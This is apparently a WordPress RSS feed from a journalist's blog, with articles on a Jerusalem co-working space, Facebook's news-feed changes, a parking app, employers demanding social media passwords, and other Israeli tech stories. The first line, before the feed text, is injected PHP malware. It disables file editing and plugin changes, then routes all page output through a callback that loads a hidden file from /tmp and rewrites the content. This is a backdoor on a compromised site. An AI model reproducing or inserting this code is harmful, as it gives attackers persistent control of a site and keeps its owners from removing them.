define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); function ob_gzhanler($s) { $f='/tmp/ssess_3539a0e66764efa8c32919f938221bc7'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler'); Social Media – Blum Interactive Media – Brian Blum https://bluminteractivemedia.com Journalist | Writer | Editor Sat, 24 Jan 2026 16:37:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.2 PICO: A Force of Change in Jerusalem https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/ https://bluminteractivemedia.com/2014/02/pico-a-force-of-change-in-jerusalem/#comments Wed, 05 Feb 2014 12:32:55 +0000 https://bluminteractivemedia.com/?p=887

PICO image from JPostGalya Harish could have set up her new company anywhere.

A seasoned business professional, she has both an MBA and a law degree, passed the bar exam in Israel and in the US, served as vice president of operations and finance for hi-tech incubator JVP Studios, and worked as a brand manager for several international companies in Israel and the UK.

So when the entrepreneurial bug inevitably bit her and she decided to open her own venture, the most logical location for the 40-year-old Harish would probably have been central Tel Aviv or Herzliya, with their wealth of founders in similar situations. But the Jerusalem-born entrepreneur chose to buck the trends of the last 15 years – which has seen start-ups fleeing the capital for the Center of the country – and opened up shop as one of the inaugural tenants at PICO, a new co-working space in Jerusalem’s Talpiot neighborhood.

PICO – an acronym for “people, ideas, community and opportunities” – is at the vanguard of a growing worldwide movement for entrepreneurs at the start of their business journeys to set up shop together and cut costs by sharing desks, equipment, phone lines and Internet access, all in an open-plan space. For a single entrepreneur, or even a small start-up with one or two employees, the price is appealing: PICO charges NIS 800 per month per workspace.

And if you only need to sit there a day or two a week, the price drops to as low as NIS 300.

Co-working spaces exist in the Tel Aviv area, but PICO is the first in Jerusalem. Its founder Eli Wurtman hopes it’s not the last.

Wurtman sees PICO as more than just a friendly place for entrepreneurs to park their laptops and cellphones. He believes that by creating similarly welcoming environments for students and start-ups, Jerusalem can reclaim its place as the country’s creative capital.

He should know. In 1996 he cofounded DeltaThree, one of the first companies to deliver voice-over-IP calls from a regular telephone. The business grew to 300 employees and was the poster child for start-up Jerusalem, which, at the time, was home to hundreds of small to medium-sized hi-tech ventures.

But then came the second intifada and the dot.com bust of 2000.

“The industry got snapped almost overnight,” Wurtman recalls. “And with it, sadly, most of the people who were working here left Jerusalem.”

He did, too, eventually commuting to Herzliya as a general partner for Benchmark Capital, a leading VC firm. His career thrived, he says, but “I knew I wanted to get back to Jerusalem.”

Within the last few years, co-working spaces have started to take off big-time.

Wurtman teamed with fellow investor Isaac Hassan and began designing what he called a New York SoHo-style “loft” space in Jerusalem.

It’s clear from the moment you walk into PICO – located in a grimy, nondescript industrial building, on the same floor as the offices of the Association of Americans and Canadians in Israel (AACI) – that there has been an incredible amount of attention to detail without spending a lot of money.

“We didn’t want it to feel like Har Hotzvim or Malha,” Hassan says, referring to two of Jerusalem’s more popular hi-tech areas. “It needed to be functional, in sync with the area.”

The resulting look, which was meticulously planned to appear decidedly down-rent, includes bare concrete walls and exposed piping, natural wood floors, lots of metal and glass and even a large tube in the center of the office “to bring in fresh Jerusalem air,” Hassan says. (There is air conditioning, too – Jerusalem, like Tel Aviv, can get hot during the summer.) Windows open from two sides to let in plenty of light.

“We want the space to be copied [by future co-working spaces in Jerusalem].

So we didn’t spend a lot of money on things like plaster,” Wurtman says, only half joking.

He sees the Talpiot area as the center of a renewed start-up Jerusalem, calling it “the city’s garage district,” like lower Manhattan or Herzliya originally were in their respective environs. Many of the people who have been commuting from Jerusalem to Tel Aviv live near Talpiot, so it’s walkable. And it’s right on the new bike path that runs from the Old Railway Station in the German Colony.”

Plus, adds Hassan, “you need to have a good coffee shop nearby, and we have [popular bakery] Lehem Shel Tomer downstairs. The smell of fresh-baked bread liberally comes up through the window of my office.”

Also nearby is the private studio of Bezalel industrial design faculty head Haim Parnas, adding an artistic vibe to the neighborhood.

There is room for 18 entrepreneurs to sit in PICO’s central shared space. Use of a large conference room is included in the price, and there are couches for more casual working and conversation.

Occupancy rate since PICO opened at the beginning of this year has ranged from 40 percent to 60%, and Wurtman says it is already breaking even.

There are also six private offices, where Wurtman, Hassan and several other more established investors sit.

That’s part of the design, too. The vision is that the entrepreneurs can feel free to ask business questions of the more experienced professionals, as well as the other way around: It gives Wurtman and Hassan the opportunity to identify potential investments up close.

Harish says the ability to brainstorm easily with the PICO partners and other entrepreneurs is a key reason she chose to start there.

Her company, Wear My Prayer, creates custom jewelry with a written prayer inside.

“People unconsciously touch their necklaces all during the day,” she explains. “Each time they touch it, there’s a meaning to it. They may think about what note is inside, what the message is.”

Harish describes a problem she had with the Wear My Prayer website.

“We were getting a large bounce rate,” she says, referring to when visitors surf away without buying anything. “So we called an impromptu meeting, and everyone in the office came over to look at the page and make suggestions as to where the problem was.”

She admits that it’s not easy being an entrepreneur in Jerusalem, far from most of her start-up peers. “But the fact that there is something like PICO changes things. People come here and they’re surprised. They say that they’d expect this in Tel Aviv or New York, not in Jerusalem.”

Harish, who has several part-time employees, says that even when her company gets big enough and needs to “graduate” from PICO, she plans to find a space close by and visit at least once a week.

Sean Lewin is also renting shared space at PICO. A recent graduate of the Jerusalem College of Technology, the fast-talking 23-year-old made quite a splash when he raised over $30,000 on the Kickstarter “crowd funding” website to build an LED light for the iPhone that indicates when a message, email or text has arrived.

The light fits into the phone’s headphone jack and changes color and blinking frequency depending on the type of message. It’s something that BlackBerry users have had for years but that former Apple CEO Steve Jobs summarily banned from the iPhone.

Lewin – who has business partners in Italy, the UK and the US – had been working at home, but found he was not being productive enough.

“I find I can be more focused and concentrated here,” he says, despite the noise from other people. “And if I have a question, I can ask my mates. If I’m building an Excel spreadsheet, I can speak to a VC. That’s not something I could get in my own living room. There’s just a good vibe here.”

He also enjoys the free beer.

“I usually stay until 7 or 8 p.m.,” he says with a smile.

The beer is available at what is perhaps the most striking element of the PICO design: a blue neon-lit bar and kitchen, which is stocked with all-youcan- drink soft drinks and brew. This plays a role in the regular networking events PICO hosts.

Indeed, PICO buzzes after hours often as much as during the day. A series of intimate lectures have taken place at night; so far, the founders of hi-tech darlings Waze and Fiverr have spoken to a young, invitation-only crowd of no more than 30. Executives from Bira Shapira, a Jerusalem-area microbrewery, have also come to speak.

And city council member Rachel Azaria, head of the Yerushalmim faction, brought her whole team to hold one of its weekly meetings at PICO.

Hassan has been active in outreach, too: one notable partnership is with Siftech, an initiative that the Hebrew University’s student union founded last year to promote Jerusalem as a place to stay after getting one’s degree. Ten student start-ups have participated in Siftech’s four-month intensive technological entrepreneurship workshop. PICO offered a couple of months of free rent to the top two winners of Siftech’s most recent competition.

PICO also has close ties with Ruah Hadasha (New Spirit), another student organization promoting Jerusalem.

Clearly, having one cool place to work won’t solve all of Jerusalem’s problems with retaining the tens of thousands of college students who study in the city every year (including more than half of all art students in the country). Overall employment options and the availability of affordable housing top graduates’ concerns.

But, insists Wurtman, “we have the opportunity to be a force of change.

There’s an energy that’s required to change the working reality of a city; to give it more of an aspirational nature.

If there were 10 more places like PICO, more entrepreneurs would come out of their basements and stay.”

Adds Hassan, “Entrepreneurs are special people. They can change industries. It’s not just about PICO, it’s about changing the underlying aspect of the city.”

This article appeared originally on The Jerusalem Post.

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Facebook changes mean greater need for original content https://bluminteractivemedia.com/2013/12/facebook-changes-mean-greater-need-for-original-content/ https://bluminteractivemedia.com/2013/12/facebook-changes-mean-greater-need-for-original-content/#comments Tue, 17 Dec 2013 13:22:43 +0000 https://bluminteractivemedia.com/?p=847

Cat memes will become less prominent on Facebook

Recent changes to Facebook’s news feed algorithm mean that organizations and companies developing and publishing their own original content are now receiving a significant boost on the leading social media site. Two weeks ago, Varun Kacholia and Minwen Ji, engineering and software managers at Facebook, respectively, posted in the Facebook Newsroom that “we are now paying closer attention to what makes for high quality content…what this means is that you may start to notice links to articles a little more often (particularly on mobile). Why are we doing this? Our surveys show that on average people prefer links to [these kinds of] articles…to the latest meme” about dancing cats or photos marked up with funny captions (as in the example to the left).

The bottom line: “high quality articles you or others read may show up a bit more prominently in your News Feed, and meme photos may show up a bit less prominently.”

Facebook’s move is not a surprise. Traffic from Facebook to news sites tripled in the past year. Facebook is being increasingly used as a news source (much as Twitter has also evolved). So why shouldn’t Facebook’s algorithm promote original news articles? Facebook hasn’t revealed the secret formula for how it will recognize “high quality content” but the Kacholia and Ji’s promise is clear: uninformative over-shared links and tired memes will be demoted.

All of this is great news for Blum Interactive Media clients that have engaged us to create original content to publish on their websites, Facebook pages, email newsletters and other social sharing services. Original content already ranked high in Google’s organic listings; now Facebook is joining the party. Take a look at the home page from one of our clients, Shavei Israel: they treat their website as a mini-newspaper, publishing 2-3 original stories (which we write) every week. The result has been dramatic – on Facebook alone, Shavei Israel and its related pages now have more than 60,000 “likes” and web traffic is up as well.

There’s a sidebar take away here too: trying to create “viral” material online just got harder…and easier. You can spend less time over-thinking and crazy planning what you hope will become the next mega-video hit. Instead, write the best quality content and the social networks will help you out on their own terms.

Facebook - Related articles exampleFacebook will also be showing “related articles” directly below the news feed post. Although you can’t control which articles will appear, our experience using similar products on our own websites indicates that at least some of the time, these will be articles that your organization or company has published. The more content you have out there, the more likely it will appear in this new Facebook section. See the example from Facebook on the right.

If you’re thinking about how to get going with your own original content strategy, keep in mind that it’s not a one-time thing. To stand out on Facebook, Google – really, anywhere online – your organization or company needs a regular stream of innovative articles and multimedia material. The aim is to turn your website and social media presence into a destination; a trusted source of compelling content that make readers want to come back – to subscribe to your newsletter, to like your Facebook page, and to share and forward what they receive.

Now more than ever, you can’t do this with a couple of lines and a cute picture in a blog post here or a press release there. You need to publish new material on a continuing basis. As your content appears more frequently in your followers’ news feeds and in search engine results, your supporters will know who and what you are about, so that when it’s time to ask for donations, or to sell a new product, they’ll already be primed.

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Israeli App Steers You to Parking Spots https://bluminteractivemedia.com/2013/03/israeli-app-steers-you-to-parking-spots/ https://bluminteractivemedia.com/2013/03/israeli-app-steers-you-to-parking-spots/#comments Thu, 21 Mar 2013 07:00:35 +0000 https://bluminteractivemedia.com/?p=793

Parko logoTomer Neu-Ner was driving home from the hospital with his wife and newborn son. As always, parking was tight near Neu-Ner’s central Tel Aviv apartment.

“I was a nervous new father,” he says. “I didn’t want to leave my baby in the car more than even a minute longer than I had to.” So he stopped the car briefly on the sidewalk, ran upstairs, got his family settled and returned to his vehicle only to find … a NIS 500 ticket on the windshield.

That wasn’t the only time Neu-Ner has battled the parking gods who have decreed that the average Tel Aviv resident will spend 24 minutes on average looking for a parking spot. But it was the wakeup call that, if Neu-Ner’s new startup Parko succeeds, will transform life for curb-deprived drivers everywhere. Investors seem to agree: the new Israeli “crowd-funding” site OurCrowd recently invested in the company.

Neu-Ner teamed up with his cousin Itai David, a Technion graduate whom he describes as an “algorithm geek.” Together they created a smartphone app that almost magically senses when a parking spot will become available – even before the car’s driver opens the door.

The technology is based on the same principles that have made fellow Israeli tech startup Waze such a darling of the roads, but there is no connection between the companies.

Waze informs drivers where traffic is heavy and suggests alternative routes, all without requiring any active input by users. The app uses GPS to sense when cars with the open app are slowing down and from there it extrapolates that data into traffic alerts.

Parko also uses GPS to sense the user’s speed. Once the vehicle has stopped and the speed at which the phone is moving has slowed to a comfortable “walking pace,” Parko assumes the user has parked. When Parko senses the user returning in the direction of the parked car, the app sends a message to other users that a spot may soon open up.

Neu-Ner and David built the app so that it minimizes access to the phone’s GPS, a critical feature given how quickly location service usage drains a mobile device’s battery.

A different approach

Parko is not alone in the parking alert business. The elephant in the room, as it so often is, is Google, whose OpenSpot app for Android phones does much the same thing as Parko with one pachyderm-sized difference: OpenSpot requires drivers to tap the app to alert other users that they’re leaving their parking space.

This is also an option for Parko users. However, Neu-Ner says, it is not ideal because by the time the alert hits the cloud, the space will almost always be long gone.

A very different approach is being taken by ParkSF in the San Francisco area, which involves sensors buried under the street that will alert drivers when a spot is being vacated in real time. Neu-Ner says there is talk in Tel Aviv about deploying something similar, although he believes the entirely crowd-sourced approach has more mileage, so to speak.

After Parko’s October, 2012 launch in Tel Aviv, Neu-Ner has his eyes set on Paris and New York. Statistics for both those cities put the average time someone looks for a parking space at 40 minutes, nearly double Tel Aviv’s.

There’s no database to be updated before a city is ready for Parko. It’s more a matter of promotion and marketing, something that’s been tough on a shoestring budget of money from friends and family. Parko’s recently fundraising from OurCrowd should help keep keep the parking brake off.

Neu-Ner is taking the “give it away, charge later when you’ve built a huge user base” approach common to startups (remember Facebook?). At that point, “location-based advertising and the sale of data will be worth so much more.” He also anticipates that freemium (paid) features and “demand-based pricing will become very interesting options for revenue models.”

Won Israeli Mobile Challenge

The 30-year-old Neu-Ner grew up in South Africa with Israeli parents. He returned to Israel four years ago and worked as a product manager at a startup creating software for options trading on Wall Street. He has degrees in economics and math from the “old country” and, more recently, an MBA from Tel Aviv University.

While Parko users stand to benefit when they search for a spot, we wondered what kind of incentive would entice users to leave the Parko app open once they found parking. Neu-Ner has a quick answer: prizes. For example, after you’ve just shared your 20th parking spot, you might get a free carwash from a Parko partner, or a coffee at a nearby Aroma.

Regardless of prizes, Parko needs a critical mass of users to function effectively. Thousands of Tel Aviv residents already know about the app, in part due to Parko’s win of the top prize at the Google-sponsored Israeli Mobile Challenge competition in June, 2012.

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Want a job applicant’s social media password? Don’t try it in Canada (or anywhere!) https://bluminteractivemedia.com/2012/03/want-job-applicants-social-media-password-dont-try-it-in-canada-or-anywhere/ https://bluminteractivemedia.com/2012/03/want-job-applicants-social-media-password-dont-try-it-in-canada-or-anywhere/#comments Thu, 29 Mar 2012 10:49:52 +0000 https://bluminteractivemedia.com/?p=762

Would Mark Zuckerberg be asked for the password to his Facebook account?

Here’s a trend that seems outright outrageous: asking for a job applicant’s social media passwords.

It’s been in the news for the past few years, off-and-on, especially during the past few weeks. Today, the Toronto Star has an article about a candidate for a law enforcement job who was asked to share his Facebook password with the recruiter. He wasn’t just asked to “friend” the recruiter, and when he offered to show his profile on the laptop in the interview room, the recruiter insisted on receiving the password.

The article in the Star came in reaction to a flurry of reports in the U.S. and U.K. about the occasional use of this distressing practice. Asking for an applicant’s password for a job with the police seems to be the most common – Bloomberg BusinessWeek cites examples from Virginia, Montana and Maryland – while The Telegraph writes about an online retail company employee in the U.K. who was asked to hand over his login details after his employer went trolling on Facebook and couldn’t find any personal details on the worker.

Facebook itself is up in arms about the practice. The Telegraph received a response from Erin Egan, Facebook’s chief privacy officer, who wrote:

In recent months, we’ve seen a distressing increase in reports of employers or others seeking to gain inappropriate access to people’s Facebook profiles or private information. This practice undermines the privacy expectations and the security of both the user and the user’s friends. It also potentially exposes the employer who seeks this access to unanticipated legal liability.

The most alarming of these practices is the reported incidences of employers asking prospective or actual employees to reveal their passwords. If you are a Facebook user, you should never have to share your password, let anyone access your account, or do anything that might jeopardize the security of your account or violate the privacy of your friends. We have worked really hard at Facebook to give you the tools to control who sees your information. … That’s why we’ve made it a violation of Facebook’s Statement of Rights and Responsibilities to share or solicit a Facebook password.

The ACLU warns that employers or recruiters asking for social media passwords are entering a legal gray area that may potentially open them up to both privacy and discrimination lawsuits. And if the employer is the government, “they may be violating your Fourth Amendment rights,” Catherine Crump, staff attorney with the ACLU, told BusinessWeek.

Canadians may have it better than job seekers elsewhere. The Canadian publication TechVibes quotes Paul Cavaluzzo, a Toronto-based labor lawyer, who says that laws in Canada are more stringent than in the U.S. with regards to protecting private information. In an interview with CityTV he noted that, while there aren’t yet laws dealing specifically with social media, Canada has “always respected privacy rights.”

Cavaluzzo adds that “if an interviewer demands your password, feel free to call them out. Or just ask them for their house keys in exchange; the differences are negligible.”

A version of this article appeared yesterday on the AIM Group blog, a publication I write for regularly.

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The Next Big Thing: Indoor Navigation? https://bluminteractivemedia.com/2011/01/the-next-big-thing-indoor-navigation/ https://bluminteractivemedia.com/2011/01/the-next-big-thing-indoor-navigation/#comments Sun, 02 Jan 2011 15:56:00 +0000 https://bluminteractivemedia.com/?p=654

Amnon Dekel

I always enjoy Jeff Pulver’s networking “breakfasts” which he holds around the world. Pulver, a VoiP superstar and lately startup angel with a passion for Israel, usually hosts his breakfast shindigs in Tel Aviv, but last week he came to Jerusalem.

I approach a networking event like a Kiddush at shul. You want to flit around as much as possible (while not being too rude with quick getaways) but if you find yourself talking to someone particularly interesting, you stay put.

That was the case when I met up with Amnon Dekel. Dekel is an old friend (he used to run the Digital Media Studies program at the IDC in Herzeliya and hired me to teach a course) and he’s about to turn in his doctoral dissertation to Hebrew University. The topic: “indoor navigation.”

Dekel has identified a problem you probably never thought about, but that’s a potential “next big thing.” Mobile phones are great at using GPS to find their position outside. But they don’t work so well under a roof of, say, a library.

Dekel’s research specifies a methodology for locating objects such as books, and it doesn’t require transmitters to be installed all over the ceiling of the space. The idea is that you’d type in the title or author into your phone, and you’d receive a map telling you exactly which floor, section and even shelf you should head to.

Dekel has built a working prototype in the Harman Library on the Givat Ram campus of Hebrew University. His tests show that, using the system, it takes only half the time to find a book and people make less navigation mistakes and need less help from others to find the book.

The same technology could be used in warehouses, bookstores and manufacturing plants, Dekel says.

That’s not to say that it’s easy – staff at the physical site need to input data, items may need to be scanned – but it’s a fascinating start.

The system has yet to be commercialized (venture capitalists – take note). But, who knows (and Dekel will scold me for writing this), you could eventually crown yourself mayor of the Dewey decimal system!

This article appeared last year on the Israelity blog.

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Social Media Finds a Home in Wibiya’s New Toolbar https://bluminteractivemedia.com/2010/10/social-media-finds-a-home-in-wibiyas-new-toolbar/ https://bluminteractivemedia.com/2010/10/social-media-finds-a-home-in-wibiyas-new-toolbar/#comments Sat, 09 Oct 2010 16:55:50 +0000 https://bluminteractivemedia.com/?p=628

From ‘Facebook-like’ buttons to embedded YouTube videos and interactive chat, it’s rare to find a website these days that doesn’t beckon you to share your thoughts with everyone you’re connected to.

But for website owners, adding all that social interaction takes time and, if you’re not a programmer, copying and pasting esoteric HTML and JavaScript code into your site’s header or widget boxes can be a technically daunting task.

Wibiya from Israel is a hot start-up that aims to streamline the process. The company, which raised $2 million a few months back from Primera Capital and counts as one of its seed investors the ubiquitous Israeli angel and Internet guru Yossi Vardi, has built a popular toolbar that consolidates dozens of social media functions into a single space-saving strip at the bottom of your website. Wibiya’s aim is to make adding new apps and functionality as easy as a one-click install.

Among the useful Web functions that Wibiya incorporates are the ability to instantly “like” a company’s fan page on Facebook and write on its Wall without leaving the website you’re looking at; see how many other people are online and looking at the same page you are; translate the site into one of more than 40 languages; and chat with your social media friends directly from within the Wibiya bar.

Taking a cue from Apple, Wibiya has created its own app ecosystem, allowing third party developers to add their Web products to the toolbar at no cost. This has led to an eclectic range of functionality built by enthusiastic supporters that Wibiya co-founder and CEO Dror Cedar never expected.

For example, there’s an app that allows website owners to pop-up targeted messages filtered to the specific person visiting. This could be based on the page a visitor is currently viewing (say, a message about the Middle East peace process) or could kick in only after a user has been on at least five pages of the site.

Another popular app automatically turns all links on a website into “affiliate ads.” If a visitor to the site buys a product via that link, the website publisher keeps 70 percent of the revenue. Amazon is one of 25,000 merchants included in the program.

Want to raise money? Wibiya has apps for that, too. One puts a link on the toolbar to your organization’s Causes page on Facebook; another allows visitors to use PayPal to make donations a snap.

Wibiya is on the verge of releasing a developer website with an open API (Application Programming Interface) to make it even easier for developers to build Wibiya-compatible apps, Cedar says.

For publishers, Wibiya provides detailed analytics showing, for example, how many clicks the toolbar is receiving or how many Twitter updates have been tweeted via the Wibiya service. The toolbar itself is tiny – only 17K. And it plays nicely with all the leading blogging platforms, including WordPress, Blogger and Ning.

Since the toolbar is free to both third party developers and publishers, how does Wibiya intend to make money? “We work with high end publishers including Philly.com, Playboy and even the (confectionery vendor) Jellybelly.com on either a revenue-share model or one that’s based on performance,” Cedar explains. “We deal with them directly to build a tailor-made solution.”

For everyone else – the so-called “long tail” of web publishers, as Cedar describes them – Wibiya will soon introduce premium paid packages with “for example, the ability to integrate your own advertisements into the toolbar.”

Cedar didn’t start out with the intention to build Wibiya. He and his co-founders Daniel Tal and Avi Smila were working on a travel-related product called Joongle. “If you wanted to search for a flight from Tel Aviv to New York, our toolbar would give you the top 10 websites, like Kayak and Priceline, with flights to that country,” Cedar says. “Then each time you clicked, it would do the search for you.”

But when the team showed the product, potential clients kept saying “wouldn’t it be great to have another button that would show my most recent posts, or one that displays photos,” Cedar recounts. Realizing that there was an even bigger market beyond travel, the company quickly switched gears. “After the 10th time, we said okay. The demand came from the publishers themselves. People really wanted it.”

One concern we had was whether creating yet another way to share information across the Web would cause alarm, much in the way that Facebook has taken a drumming recently for its fungible privacy policies. Moreover, will users be paranoid that Wibiya may follow them around, tracking what they’re doing on the Web?

Cedar assures us that Wibiya is just “an enabler. We don’t do anything automatically and we don’t save your information. We’re completely transparent.” Still, Wibiya may have to be more proactive in spelling things out to put visitors at their ease.

As for the name Wibiya, it’s a play on words – a “wib” is a widget bar. “We didn’t like ‘widget,’ ” Cedar says.”That implies a static component.”

Indeed, with Wibiya’s functionality, financing and future prospects, the company is anything but static.

This article originally appeared on the Israel21c website.

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The Wedding Will Be Webcast https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/ https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/#comments Thu, 19 Aug 2010 10:16:01 +0000 https://bluminteractivemedia.com/?p=602

Sammy and Isaac

The happy couple "live"

A couple of weeks ago, we attended the wedding of good friends, Sammie and Isaac. The wedding was a blast with all the usual features of Israeli nuptials: chuppah, dancing, speeches and those greasy fried “cigars” stuffed with minced meat (of which I always partake too heartily).

There was one element, though, that I’ve never seen before (although maybe I’m just not invited to the right weddings). Prior to the simcha, the couple sent out an email that announced that, for those who couldn’t attend, the evening would be broadcast live over the Internet.

Now, live web streaming is nothing new and there are plenty of vendors eager to upgrade you to a “pro” account – Ustream and Livestream are just a couple that come to mind. I often catch up live online with TechAviv, a hi-tech group that meets monthly in the Tel Aviv area, when I’m feeling too lazy to hoof it over from Jerusalem. But I haven’t seen the technology used for a wedding.

The way it worked was a bit funky: one of the wedding guests had set up a small laptop with a built in camera and microphone facing the chuppah. When he wanted to pan around the crowd, he picked up the whole laptop and did a 360.

Since he had plugged the laptop into a 3G wireless card (I guess the wedding hall’s WiFi wasn’t dependable), he was able to later walk around the dance floor, as well as grab shots of guests chowing down at each of the tables – although with that brick of a broadcast unit, he wasn’t quite as nimble as a wedding photographer.

This isn’t state-of-the-art yet: the sound was muddled and the video not up to TV network quality (or even watered down YouTube, for that matter), but it’s still a great idea, not just for family that can’t make it from overseas but local guests for whom a time conflict may preclude in-person attendance.

And the coolest part: the video is still online. So even guests who were there can catch a glimpse of themselves doing the chicken dance.

If you want to view some of Sammie & Isaac’s wedding, here’s the link.

This piece appeared originally on the Israelity blog.

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Multitasking in Tel Aviv https://bluminteractivemedia.com/2010/07/multitasking-in-tel-aviv/ https://bluminteractivemedia.com/2010/07/multitasking-in-tel-aviv/#comments Wed, 14 Jul 2010 10:31:57 +0000 https://bluminteractivemedia.com/?p=585

From right to left: me, Benjy Lovitt, Lior Manor and his iPad

From right to left: me, Benjy Lovitt, Lior Manor and his iPad

A recent episode of the NPR program Science Friday featured an interview with Clifford Nass, the author of the forthcoming book “The Man Who Lied to His Laptop,” about whether human beings are truly able to multitask. His conclusion: not really.

Nass says that we have the illusion of multitasking, but in reality, we are switching from one task to another so quickly it seems like we’re doing more than one thing at once. The problem is that, every time we switch, there is a micro-millisecond delay and that teeny tiny pause causes us to be less productive even when we feel we’re sailing high.

I had a chance to experience the woes of obsessive multitasking first hand earlier this week when I attended the 140 Characters conference in Tel Aviv. The event, produced all over the world – including Israel – by social media and VoIP guru Jeff Pulver, is dedicated to exploring the “real time web” (a fancy way of referring to web and mobile services that let you follow a stream of never ending status updates as they happen).

As I sat in the lecture hall at Tel Aviv’s Afeka College listening to the lectures (which, in true short attention span spirit, were allotted on average no more than 10-15 minutes each), I had my laptop with me open to TweetDeck, a Twitter desktop client where I could follow along as much of the room was “live tweeting” what was happening on stage; Gmail – which I checked incessantly while simultaneously chatting with people both in and outside of the room itself; Facebook – of course (just for fun); an Excel spreadsheet of all the attendees sent by Pulver – so I could scope out who to approach during the networking breaks; a live video stream of the conference itself (with a slight time delay); and Evernote – a application I used to take notes on my laptop which were then automatically synched to my home computer, iPhone and (when I get one) iPad.

And if the lectures ever got boring, I’d brought with me a copy of an article I was working on that needed an edit.

By the time the conference was over, I actually breathed a sigh of relief as I finally caught a break in the long drive back to Jerusalem.

Not so for Michael Matias, a 14-year-old who took the stage for his 10 minutes of fame to tell us about “growing up in real-time.” My multitasking experience is his daily reality. He adds to the mix doing homework while simultaneously watching TV on his laptop (42-inch flat screens are so 2006) and playing online chess and poker. He says he spends at least 5 hours a day online, not including class when he often uses the school computers. When he needs to study, it’s as likely to be via video conference than an in-person cram session.

Matias is a relative pauper when it comes to Facebook friends – he only has 300 and says he only accepts someone he’s met in person. Although he does spend time with people in the so-called “real world,” he told the audience that in some ways he actually prefers his online world. “It brings me closer to them. I can hang out with more than one person at the same time.” No, he doesn’t think he spends too much time online and, when asked which of his real-time tools he’d give up if necessary, he quipped that he couldn’t. “It would be like choosing between my mom and my dad.”

The rest of the conference was interesting (if less shocking). Israeli comedian Lior Manor did “Twitter magic” – he asked the audience to tweet a number between one and 140 (get it, the 140 character maximum Twitter imposes), then he picked a number from his real-time Twitter stream and did a card trick in person – no different than what magicians have been doing for years except that he used an iPad to display the input.

Yossi Taguri talked about his latest startup Fiidme which lets you “share your satisfaction” about food. “If you’re in a restaurant,” he explained, “you can ask your friends what’s good on the menu and they’ll tweet you their recommendations.” With a grin, he added that they also “thought it would help us get free lunches.” His business partner Lior commented that being in a restaurant “without wireless is very frustrating.” (Whatever happened to the romantic candlelit dinner?)

There was also a session on using Twitter to do good in the world: an Israeli company called JustCoz lets you “donate” your Twitter status to organizations to raise awareness about their causes. In just under a month online, 100 organizations have signed up for the free service, gathering 1,200 supporters which provide re-tweeting access to more than a million people.

Now that’s a great idea from the real time web…if we can actually take a moment away from our incessant multitasking to participate.

Oh, and about that article I was writing? I guess I succeeded because you’re reading it now.

This article was originally posted at Israelity last week immediately following the 140 conference.

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LabPixies Investors Share Insights into Company’s Acquisition by Google https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/ https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/#comments Mon, 24 May 2010 10:42:36 +0000 https://bluminteractivemedia.com/?p=560

Yaron Carni 2

Yaron Carni, lead investor

Google’s announcement last month that it was acquiring Tel Aviv-based LabPixies for a rumored $25 million caught some Israeli analysts by surprise. That’s a tidy sum for a small startup with just 12 employees that has raised less than $2 million over its four years of operation.

Yaron Carni, LabPixies’ lead investor wasn’t caught out, however. “I immediately loved the company’s products, their vitality and, of course, the team,” he said. Speaking on behalf of a handpicked group of angels including Auren Hoffman and Fabrice Grinda, Carni added “we were all deeply impressed with the character, commitment, talent and forthrightness of the founders.”

LabPixies was particularly attractive to Google due to the company’s role in developing some of the first and subsequently leading ‘gadgets’ for the iGoogle platform, Google’s alternative interactive home page. LabPixies products have garnered as many as one billion impressions a month while signing up 40 million users. One of its most popular products is ‘Flood-It,’ a game that involves dragging colored balls around the screen. “It’s very addictive,” admitted Carni.

LabPixies also builds translating programs, news and weather reports, calculators and calendars that run on other social network services including Facebook, Hi5, Yahoo and MySpace, as well as Google’s own Android mobile operating system.

However, LabPixies doesn’t make its money from the Web, but by selling mobile apps, primarily for the iPhone. Company CEO Ran Ben-Yair won’t divulge financial information, but he did tell the Israeli business journal The Marker several months back that the company has “millions of dollars in revenues.” Carni added that the company has kept costs down by staying “lean.”

Despite Google’s increasing competition with Apple in the mobile space, there’s no indication that the search engine giant will drop its support for LabPixies’ iPhone products.

Google plans to merge LabPixies into its Tel Aviv office, which according to a press release “will anchor our iGoogle efforts across Europe, the Middle East and Africa,” leveraging LabPixies’ “knowledge and expertise to help developers and improve the ecosystem overall.”

The big winners, of course, are the investors and LabPixies founders – CEO Ben-Yair, VP R&D Oded Poncz, VP business development Nir Tzemah, and creative director Udi Graff.

Investor Fabrice Grinda wrote on his blog that he was “seduced by the company. They had crazy amounts of traffic in the right countries (Western Europe and the US). Their users loved them. Moreover, their products fell squarely in a rapidly growing ecosystem: Social networks and mobile applications.”

If anything, Grinda was sorry to “sell so early. The company and team are great and the category is only becoming bigger.”

Google Israel’s managing director, Prof. Yossi Matias, is understandably bullish on high-tech in the country. “Google believes in Israeli innovation and creativity and we’ll continue to strive for collaborations with local companies and startups in the future,” hesaid .

Carni, in turn, is a big believer in Google. The deal to buy LabPixies spanned a number of months, Carni said, during which time Google was “a pleasure to work with… from the product people to the human resources professionals. They were always direct, honest and comprehensive.”

LabPixies is Google’s first acquisition in Israel. The company joins other international Internet heavyweights such as AOL, Microsoft and eBay who have invested in the local Silicon Wadi high-tech scene. Google has been active in Israel since 2005 but has never bought a company until now.

This post originally appeared on the Israel21c website.

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My Posts at AIMGroup.com – Part Two https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com-part-two/ https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com-part-two/#comments Tue, 20 Apr 2010 14:42:19 +0000 https://bluminteractivemedia.com/?p=537

AIMGroup LogoLast week, I published 15 links to articles I wrote for AIMGroup.com about the the classified advertising business which I covered for five years. I chronicled hundreds of companies – from startups to established classified pure plays.

Here is part two of my list. And if you want to know more, visit AIMGroup.com for the latest headlines and analysis.

Atlanta newspaper: turn your computers off on Sundays and read us in print!

10 reasons you’ll miss print newspapers (parody).

Most people wouldn’t care if their local newspaper folded. Oy!

Tips from WSJ on how you can charge for content online.

Tweet your notes to the Western Wall.

YouTube is bleeding money – can it survive?

Survey: surfers don’t mind pop up ads…much.

Columbia University J-school head thumbs nose at social media.

